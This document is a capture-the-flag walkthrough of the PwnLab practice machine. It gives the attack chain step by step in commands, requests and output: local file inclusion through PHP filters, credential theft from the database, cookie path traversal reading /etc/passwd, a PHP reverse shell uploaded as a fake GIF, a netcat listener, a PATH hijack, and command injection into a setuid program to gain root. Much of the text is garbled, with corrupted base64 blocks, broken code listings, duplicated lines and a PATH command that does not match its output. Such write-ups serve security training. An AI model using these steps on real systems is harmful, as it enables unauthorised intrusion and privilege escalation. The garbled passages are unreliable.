PWNLab

Keys: LFI, rpcbind, mysql, php,

```
nmap -sV -O -p- -A -T4 192.168.141.131
Starting Nmap 7.70 (https://nmap.org) at 2018-10-29 13:32 CDT
Nmap scan report for 192.168.141.131
Host is up (0.0013s latency).
Not shown: 65531 closed ports
PORT
        STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
http-server-header: Apache/2.4.10 (Debian)
http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
program version port/proto service
100000 2,3,4
                  111/tcp rpcbind
100000 2,3,4
                   111/udp rpcbind
100024 1
                34619/udp status
100024 1
                 50868/tcp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 38
| Capabilities flags: 63487
Some Capabilities: IgnoreSpaceBeforeParenthesis, LongColumnFlag, Support41Auth,
Speaks41ProtocolOld, SupportsCompression, SupportsTransactions, IgnoreSigpipes,
FoundRows, InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase,
SupportsLoadDataLocal, DontAllowDatabaseTableColumn, ODBCClient, LongPassword,
SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: ZKGdAUj4cvJL!\.n`uNf
| Auth Plugin Name: 88
50868/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:D9:9E:EA (VMware)
Device type: general purpose
Running: Linux 3.X | 4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
```

Nikto:

- -PHP based
- + Cookie PHPSESSID created without the httponly flag
- + /config.php: PHP Config file may contain database IDs and passwords.
- + OSVDB-3268: /images/: Directory indexing found.
- + OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
- + /login.php: Admin login page/section found.

Browsing the host:

- -Visiting the server on port 80 in Firefox reveals that
- -It hosts an image uploading/sharing site
- -It has a login form
- -Page navigation happens through the GET parameter "page" which seems to follow the script name excluding .php file extension
- -config.php yields a blank page both when using the "page" parameter and when visiting it directly. Appears to be an inclusion going on here
- -It has directory indexing turned on, as seen if visiting the image folder

Attacking page GET parameter

Manual analysis of the web pages on this server gives us an impression that we're dealing with a local file inclusion vulnerability (LFI) here.

http://target_ip/?page=php://filter/convert.base64encode/resource=config

Just set it to any file you want to read. Looking at "config" gave me this Base64 encoded string:

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW11ID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg 0dSVRS19IOTkiOw0KJGRhdGFiYXN1ID0gIlVzZXJzIjsNCj8+

This decodes to:

Logging into MySQL

If we're lucky we can access the database by simply logging into it straight from the command line.

```
$ mysql --user=root --password --database=Users --host=target ip
```

Once in the first thing we'll do is to find out if there are more databases we can breach into. The command "show" databases tells us there are just the stock "information schema" and "users" available.

```
MySQL [Users]> show tables;
+-----+
| Tables_in_Users |
+-----+
| users |
+-----+
1 row in set (0.01 sec)
```

MySQL [Users]>

Listing available tables in this database tells us there's only one table available.

Looking at the "users" table structure we see it only contain two fields, user and pass.

Looking at the "users" table structure we see it only contain two fields, user and pass.

Selecting all contents in table reveals there are just three users registered. Since all passwords ends in "==" we can deduct they're all Base64 encoded.

```
MySQL [Users]> select * from users; +----+ | user | pass | +----+ | kent | Sld6WHVCSkpOeQ== | mike | U0lmZHNURW42SQ== | kane | aVN2NVltMkdSbw== | +----+ | 3 rows in set (0.06 sec)
```

Decoded they read:

MySQL [Users]>

user	pass	Base64 decoded
kent	Sld6WHVCSkpOeQ==	JWzXuBJJNy
mike	U0lmZHNURW42SQ==	SIfdsTEn6I
kane	aVN2NVltMkdSbw==	iSv5Ym2GRo

Login on the website as one of the above.

More LFI:

After logging in we see that the site doesn't offer much beyond the upload form. So, let's investigate the upload form by utilizing the same PHP filter exploit:

```
http://target_ip/?page=php://filter/convert.base64-
encode/resource=upload
```

Yet another Base64 encoded string:

PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICqhaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSqnWW91IG1 1c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3 Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPq0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWu0J2ZpbGUnIG5hbWu0J2ZpbGGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2Fk pKSB7DQoJaWYqKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAqPSAkX0ZJTEVTWy $\verb|dmaWx1J11bJ25hbWUnXTsNCgkJJGZpbGV0eXblICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSdd0w0KCQkkdXBsb2FkZ||$ $\verb|GlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWlu| \\$ ${\tt Zm8qPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCqkJJHdoaXRlbGlzdCA9IGFycmFiledCaptible and the action of the control of$ 5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCq0KCQlpZiAoIShpbl9hcnJheSqkZmlsZV9leHQsICR3aG $10 \\ ZWxpc3QpKSkgew0KCQkJZG11KCd0b3QgYWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpKSkgew0KCQkJZG11KCd0b3QgYWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpKSkgew0KCQkJZG11KCd0b3QgYWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpKSkgew0KCQkJZG11KCd0b3QgYWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpKSkgew0KCQkJZG11KCd0b3QgYWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpKSkgew0KCQkJZG11KCd0b3QgYWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpKSkgew0KcQkJZG11KCd0b3QgYWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQqaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cQxvYWQqaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cQxvYWQqaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cQxvYWQqaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cQxvYWQqaW1hZ2VzIG9ub1d2Wxpc3QpWxsb3d1ZCBleHRlbnNpb24sIHBsZWFzZSB1cQxvYWQqxWxb2d1AxQpWxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpwxybq0d1AxQpxybq0d1AxQpwxybq0d1AxQpwxy$ $\label{thm:local_policy} HkuJyk7DQoJCX0NCq0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdFLCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdFLCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkJZG11KCdpbWFnZScpID09PSBmYWxzZSkqew0KCQkdpbWFnZScpID09PSBmYWxzZSkqew0KCQkdpdWfnZScpID09PSBmYWxzZSkqew0KCQkdpdWfnZScpID09PSBmYWxzZSkqew0KcQkdpdWfnZScpID09PSBmYWxzQkdpdWfnZScpID09PSBmYWxzZSkqew0KcQkdpdWfnZScpID09PSBmYWxzQkdpdWfnZScpID09PSBmYWxzQkdpdWfnZScpID09PSBmYWxzQkdpdWfnZScpID09PSBmYWxzQkdpdWfnZScpID09PSBmYWxzQkdpdWfnZScpID09PSBmYWxzQkdpdWfnZScpID09PSBmYWxxQkdpdWfnZScpID09PSBmYWxxQkdpdWfnZScpID09PSBmYWxxQkdpdWfnZScpID09PSBmYWxxQkdpdWfnZScpID09PSWfnZScpID09PSBmYWxx$ cnJvciAwMDEnKTsNCqkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ21mJyAmJiAkaW1hZ2V pbmZvWydtaW11J10gIT0gJ21tYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmIC RpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJC WlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MS17DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQ19DQoNCgkJ $\label{localized} JHVwbG9hZGZpbGUqPSAkdXBsb2FkZG1yIC4qbWQ1KGJhc2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuYW11KCRfRk1MRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZhVbG2VuXVsnbmFtZSddKSkuJGZhVbG2VuXVsnbmFtZSddKSkuJGZhVbG2VuXVsnbmFtZSddKSkuJGZhVbG2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKShVbQ2VuXVsnbmPtZSddKNAVVxnbmPtZSddKNAVVxnbmPtZSddKNAVVxnbmPtZSddKNAVVxnbmPtZSddKNAVVxnbmQxVxnbmPtZSddKNAVVxnbmPtZNVxn$ pbGVfZXh00w0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXInfinite for the control of the cBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbLydfyBsflbBsflbCyBsHN1IHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==

Which decodes to

```
1 <?php
2 session start();
3 if (!isset($ SESSION['user'])) { die('You must be log in.'); }
4 ?>
5 <html>
   <body>
6
          <form action=''method='post'enctype='multipart/form-data'>
7
             <input type='file' name='file' id='file' />
8
              <input type='submit' name='submit' value='Upload'/>
10
         </form>
     </body>
11
12</html>
13<?php
14if(isset($ POST['submit'])) {
     if ($ FILES['file']['error'] <= 0) {</pre>
15
          $filename = $ FILES['file']['name'];
16
          $filetype = $_FILES['file']['type'];
17
          $uploaddir = 'upload/';
18
          $file_ext = strrchr($filename, '.');
19
20
          $imageinfo = getimagesize($ FILES['file']['tmp name']);
          $whitelist = array(".jpg",".jpeg",".gif",".png");
2.1
          if (!(in array($file ext, $whitelist))) {
23
              die('Not allowed extension, please upload images only.');
```

```
if(strpos($filetype,'image') === false) {
27
28
                                                                   die('Error 001');
29
30
                                                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'imageinfo['mime'] != 'imageinfo['mime
31
                                                                    die('Error 002');
32
33
34
                                                if(substr count($filetype, '/')>1){
35
                                                                    die('Error 003');
36
37
38
                                                $uploadfile = $uploaddir. md5(basename($ FILES['file']['name'])).$file ext;
39
40
                                                if (move uploaded file($ FILES['file']['tmp name'], $uploadfile)) {
41
                                                                   echo "<img src=\"".$uploadfile."\"><br />";
42
                                                } else {
43
                                                                   die('Error 4');
44
45
                             }
46
47<sup>}</sup>
48
```

From looking at the code we see that someone gave the code some care and attention by not allowing everything and the kitchen sink to be uploaded. Anyway, the upload filter only allows

".jpg", ".jpeg", ".gif" and ".png". This is some important information right here!

Visiting

http://10.0.0.109/?page=php://filter/convert.base64-encode/resource=index

Yielded

 $\label{thm:pde} PD9waHANCi 8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5syW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCg17DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=$

Which decodes to:

```
//Multilingual. Not implemented yet.
2
         //setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
3
4
              include("lang/".$ COOKIE['lang']);
6
7
         \ensuremath{//} Not implemented yet.
8
         ?>
9
         <html>
10
         <head>
11
         <title>PwnLab Intranet Image Hosting</title>
12
```

```
13
       <body>
14
       <center>
       <img src="images/pwnlab.png"><br />
15
       [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
16
17
       <hr/><br/>
       <?php
18
            if (isset($ GET['page']))
19
20
                include($_GET['page'].".php");
21
22
            else
23
24
                echo "Use this server to upload and share image files inside the intranet";
25
26
       ?>
27
       </center>
28
        </body>
29
        </ht.ml>
30
31
```

How nice! The developer is using the "lang" cookie for an include! We can most likely use the

"lang" cookie to trigger a shell! Let's test if we can manipulate it!

Put this into Burp:

GET / HTTP/1.0

Cookie: lang=../../../etc/passwd

Content-Length: 0

Get this out:

```
HTTP/1.1 200 OK
Date: Wed, 31 Oct 2018 20:22:41 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 1894
Connection: close
Content-Type: text/html; charset=UTF-8
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,;/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,;/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
```

```
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br/>
Use this server to upload and share image files inside the intranet</center>
</body>
</html>
```

This means we can upload a shell as a GIF

```
$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ mv php-reverse-shell.php shell.gif
```

After copying it we must make it appear as a proper GIF. Just add the string "GIF98" on the very first line of the shell. Then adjust LHOST and LPORT settings in shell according to taste and save.

Then we upload the shell

We can find the path to our shell by inspecting the source in Firefox

```
</html>
<img src="upload/7ad3f8955ef0c07d50ab6bf87ffa6294.gif"><br /></center>
</body>
```

Copy the link and put a reference to it in the "lang" cookie. Burpsuite is great for manipulating cookies:

GET / HTTP/1.0

Cookie: lang=../upload/7ad3f8955ef0c07d50ab6bf87ffa6294.gif

Content-Length: 2

Just fiddle around until you can make it trigger. Then open a Netcat listener and re-trigger it.

Open a Netcat listener:

```
$ nc -lvp 7771
```

If this turns out OK we'll now have a reverse connection! With the reverse connection in place, let's start listing out the home directories:

If this turns out OK we'll now have a reverse connection! With the reverse connection in place, let's start listing out the home directories:

```
listening on [any] 7771
listening on [any] 7771 ...

10.0.0.109: inverse host lookup failed: Unknown host
connect to [10.0.0.13] from (UNKNOWN) [10.0.0.109] 38993
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
04:43:36 up 26 min, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ cd /home; ls
john
kane
kent
mike

■ ■
```

In this stage it's pointless to list the content of the home folders. Instead let's try to break into some accounts. The very first thing is to issue a simple "su" attempt. We already got the credentials from the database breach:

```
$ su -k kent
su: must be run from a terminal
```

"su" fails since it must be done from a terminal. Let's try to spawn another shell this time using Python:

```
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@pwnlab:/home$ whoami
www-data
www-data
www-data@pwnlab:/home$
```

That worked. Let's try "su" again:

```
www-data@pwnlab:/home$ su kent
su kent
Password: JWzXuBJJNy
kent@pwnlab:/home$ ■
```

Nice. Next step is to "su" through all users we got credentials for and list all home directories. Ending up in Kane's home directory we find an executable program ("msgmike").

```
kane@pwnlab:~$ ls -al
ls -al
total 28
drwxr-x--- 2 kane kane 4096 Mar 17 13:04 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 kane kane 220 Mar 17 10:09 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 10:09 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 13:04 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 10:09 .profile
kane@pwnlab:~$ ■
```

Running "msgmike" reveals that the program calls "cat" without full path.

```
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ ■
```

This means we can make a version of our own and put it to PATH hoping the program will use that instead. Before doing that, let's see if the program can reveal something else:

```
kane@pwnlab:~$ strings msgmike
strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVh[
[^_]
cat /home/mike/msg.txt
```

Nope. Nothing. Nada. Zip. Let's move on overriding the "cat" command.

Overriding cat command

The overall strategy is to make a simple script that calls "sh" and name this script "cat". We place this script in /tmp and we register the path to it in PATH hoping the "msgmike" program will pick it up.

Making a cat

First we make the new and improved "cat" script and store it in /tmp:

```
1 $ echo "#\!/bin/sh" > /tmp/cat
2 $ echo "/bin/sh" >> /tmp/cat
```

Manipulating path

The we look at what's in PATH. This command can also be used to verify any alterations made is dandy:

```
$ echo $PATH
kane@pwnlab:~$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ ■
```

Adding /tmp to PATH:

```
$ export PATH=/tmp:$PATH
kane@pwnlab:~$ export PATH=$PATH:/home/kane
export PATH=$PATH:/home/kane
kane@pwnlab:~$
```

Yet another shell

Let's run the msgmike again to see if it picks up the new and improved "cat" command:

```
kane@pwnlab:~$ ./msgmike
./msgmike
$ whoami
whoami
mike
$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
$ ■
```

Look at that, we're Mike! Let's move over to his home and list the content:

```
$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Mar 17 15:19 .
drwxr-xr-x 6 root root 4096 Mar 17 10:09 ..
-rw-r--r-- 1 mike mike 220 Mar 17 10:08 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 10:08 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 13:07 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 10:08 .profile

$ ■
```

Ok. Obviously we need to analyse that msg2root file

```
$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
```

Hey look at that, a command with a format argument. Let's exploit that:

```
$ ./msg2root
./msg2root
Message for root: m;/bin/sh
m;/bin/sh
m
# whoami
whoami
root
# I
```

And then we were ROOT! Let's mover over to ROOT's home folder and see if we can end this game!

```
$ cd /root
$ ls
$ /bin/cat flag.txt
```

And so the game ends.



Closing